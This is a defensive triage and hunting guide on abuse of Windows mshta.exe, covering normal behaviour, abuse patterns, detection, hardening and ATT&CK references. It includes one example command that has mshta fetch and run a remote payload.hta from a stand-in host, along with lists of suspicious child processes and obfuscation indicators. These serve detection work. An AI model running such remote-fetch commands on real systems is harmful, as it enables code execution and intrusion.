mshta.exe
Overview
mshta.exe is the Windows executable responsible for running HTML Applications (HTA files).
HTA files are HTML documents with elevated privileges that can execute VBScript or JScript with significantly fewer restrictions than scripts running inside a web browser.
Although mshta.exe is a legitimate Windows component, it is one of the most consistently abused Windows utilities for script-based execution, payload staging, and remote content retrieval.
Expected Characteristics
Expected Locations
- %SYSTEMROOT%\System32\mshta.exe
- %SYSTEMROOT%\SysWOW64\mshta.exe
Expected Parents
Common examples include:
- explorer.exe
- Web browsers
- Installers
- Approved enterprise applications
Typical Profile
- Rare in most modern enterprise environments
- Often associated with legacy applications
- Commonly observed during attacker tradecraft
- Frequently abused as a LOLBin
Why This Matters
mshta.exe can execute code directly from:
- Local HTA files
- Embedded scripts
- Remote URLs
- Inline command strings
This allows adversaries to execute malicious code without deploying a traditional executable.
Common attacker use cases include:
- Phishing payload execution
- Initial access
- Payload staging
- In-memory execution
- Lateral movement
- Script-based persistence
Investigation Objective
Determine:
- Why mshta.exe executed
- What content it was asked to run
- Whether a user intentionally launched it
- Whether the content is trusted
- Whether the activity represents malicious execution
Normal Behaviour
Characteristics
Path
- C:\Windows\System32\mshta.exe
- C:\Windows\SysWOW64\mshta.exe
Signature
- Microsoft Windows Publisher
Parent Processes
Common examples include:
- explorer.exe
- msiexec.exe
- Legacy enterprise applications
- Approved deployment tooling
Command Line
Legitimate executions usually reference:
- Known HTA files
- Internal administrative tools
- Approved application directories
Children
- Commonly none
- Any children should align with the expected application workflow
Typical Activity
- Launching legacy enterprise applications
- Supporting installer frameworks
- Running internal administrative tooling
- Executing approved HTA-based utilities
Expected Behavioural Characteristics
In most environments:
- mshta.exe is rarely observed
- Activity is predictable
- Execution paths are known
- Origins are traceable
Abuse Patterns
Remote Content Execution
Investigate any instance of:
mshta.exe https://example.com/payload.hta
or similar internet-based content retrieval.
mshta.exe has very few legitimate reasons to execute remote content.
Suspicious Child Processes
Investigate mshta.exe launching:
powershell.exe
cmd.exe
wscript.exe
cscript.exe
rundll32.exe
regsvr32.exe
msiexec.exe
Many attack chains use mshta.exe purely as a staging mechanism.
Untrusted File Paths
Treat HTA files from the following locations as suspicious:
- %TEMP%
- %APPDATA%
- %LOCALAPPDATA%
- %PUBLIC%
- Downloads
- Network shares
Particularly when correlated with phishing or browser activity.
Encoded or Obfuscated Arguments
Investigate:
- Base64 content
- Extremely long command lines
- Inline scripts
- Obfuscated JavaScript
- Character-by-character payload construction
These are common indicators of staged execution.
Path or Signature Mismatch
Investigate immediately if:
- mshta.exe is outside System32 or SysWOW64
- The image is unsigned
- The filename is modified
Examples include:
mshta32.exe
mshta_.exe
Lack of User Interaction
Review execution carefully when:
- No document was opened
- No browser click occurred
- No application launch preceded execution
A lack of obvious user activity often indicates malicious automation.
Detection Opportunities
Command-Line Analytics
Monitor for:
- URLs
- HTTP and HTTPS references
- JavaScript
- VBScript
- Base64 content
- Obfuscation
The command line often provides the strongest evidence during mshta investigations.
Parent Process Analysis
Investigate execution originating from:
- Office applications
- Browsers
- Archive extraction tools
- PDF readers
- Script engines
These relationships frequently appear in phishing campaigns.
Child Process Monitoring
Alert when mshta.exe launches:
- PowerShell
- Script hosts
- LOLBins
- Administrative tooling
- Unsigned binaries
Legitimate HTA applications rarely require this behaviour.
Network Activity Monitoring
Review:
- DNS lookups
- HTTP requests
- HTTPS requests
- External connections
Network communication from mshta.exe often deserves immediate attention.
Hunting Opportunities
Useful hunting pivots include:
- Rare mshta command lines
- Remote URLs
- HTA files in user-writeable locations
- Child-process creation
- Network activity following execution
Correlated Activity
Review:
- Browser history
- Email activity
- Document execution
- Recent downloads
- PowerShell execution
- Scheduled task creation
High-confidence detections typically emerge from combining multiple indicators.
False Positives
Although uncommon, legitimate mshta.exe usage still exists.
Common Legitimate Scenarios
Examples include:
- Legacy enterprise applications
- OEM management tooling
- Installation frameworks
- Internal administrative utilities
Validation Questions
Check:
- Parent process
- HTA location
- Publisher
- Enterprise prevalence
- Associated user activity
A trusted HTA generally has a predictable origin and execution pattern.
Estate Context
Legitimate HTA applications are typically:
- Well-known
- Widely deployed
- Consistently named
- Loaded from trusted directories
Hardening Recommendations
Reduce HTA Usage
Identify and retire:
- Legacy HTA applications
- Obsolete administrative tools
- Unsupported frameworks
The fewer legitimate HTA dependencies that exist, the easier malicious activity becomes to detect.
Application Control
Consider:
- WDAC
- AppLocker
- Application allow-listing
Restrict execution of unauthorised HTA files wherever possible.
Restrict User-Writable Execution
Review execution controls for:
- Downloads
- Temp
- AppData
- Public directories
Many mshta abuse techniques rely on these locations.
Monitor LOLBin Usage
Maintain visibility into:
- mshta.exe
- rundll32.exe
- regsvr32.exe
- powershell.exe
Attackers frequently chain these utilities together.
Network Monitoring
Alert on:
- External connections
- HTA downloads
- Script retrieval
mshta.exe network activity often provides a valuable early-warning signal.
Defensive Validation
Test:
- HTA detections
- Application-control policies
- Network visibility
- LOLBin detections
Validation should focus on realistic attack chains rather than simple process execution.
Triage Checklist
Identity and Integrity
- Verify image path
- Verify Microsoft signature
- Confirm filename is genuine
Lineage and Behaviour
- Review the parent process
- Review the command line
- Identify child processes
- Check for LOLBin chaining
File and Script Context
- Identify HTA location
- Review timestamps
- Review script content
- Review file prevalence
Scope and Correlation
- Review downloads
- Review phishing activity
- Review email attachments
- Review browser activity
- Review related alerts
Escalation Considerations
Escalate immediately if:
- Remote content is involved
- User-writable paths are involved
- Child-process anomalies exist
- Obfuscated scripts are identified
ATT&CK References
- T1218 - Signed Binary Proxy Execution
- T1059 - Command and Scripting Interpreter
- T1204 - User Execution
Related Topics
Windows Processes
- powershell.exe
- regsvr32.exe
- rundll32.exe
- dllhost.exe
- wscript.exe
Script Execution
- HTA Files
- Windows Script Host
- VBScript
- JScript
MITRE ATT&CK
- T1059 - Command and Scripting Interpreter
- T1204 - User Execution
- T1218 - Signed Binary Proxy Execution